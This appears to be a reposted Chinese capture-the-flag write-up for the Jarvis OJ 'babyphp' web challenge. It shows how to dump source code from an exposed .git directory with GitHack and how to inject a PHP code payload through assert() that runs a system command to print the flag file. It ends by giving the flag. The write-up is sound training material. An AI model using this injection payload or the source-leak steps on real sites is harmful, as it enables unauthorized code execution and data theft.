Web-babyphp

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web-babyphp相关的知识,希望对你有一定的参考价值。

题目地址

http://web.jarvisoj.com:32798/

 

首先先观察网页,点击about发现下面包含这些

看到GIT,那么基本可以明确这题有.git泄露,我们用GitHack来获取源码分析

技术图片

首先下载GitHack(这里用kali),然后执行获取源码

git clone  https://github.com/lijiejie/GitHack
python GitHack.py http://web.jarvisoj.com:32798/.git

 

得到以下两个文件,flag.php在templates,打开之后,并不能看到什么,那么我们去寻找index.php找线索

技术图片

 打开index.php

技术图片

 

 我们看看assert函数,官方定义

assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
就是说如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
 
那么我们就可以构造payload
?page=‘.system("cat templates/flag.php").‘

 

发现还是不行,右击查看源码或者直接F12,因为flag被注释了,所以在网页看不到

技术图片

技术图片

$FLAG = ‘61dctf8e_careful_when_us1ng_ass4rt

 

这题考察git泄露和assert函数

git泄露可以用githack获取源码

assertion 是字符串的时候,assert()函数可以当成PHP代码执行

 

 


 

以上是关于Web-babyphp的主要内容,如果未能解决你的问题,请参考以下文章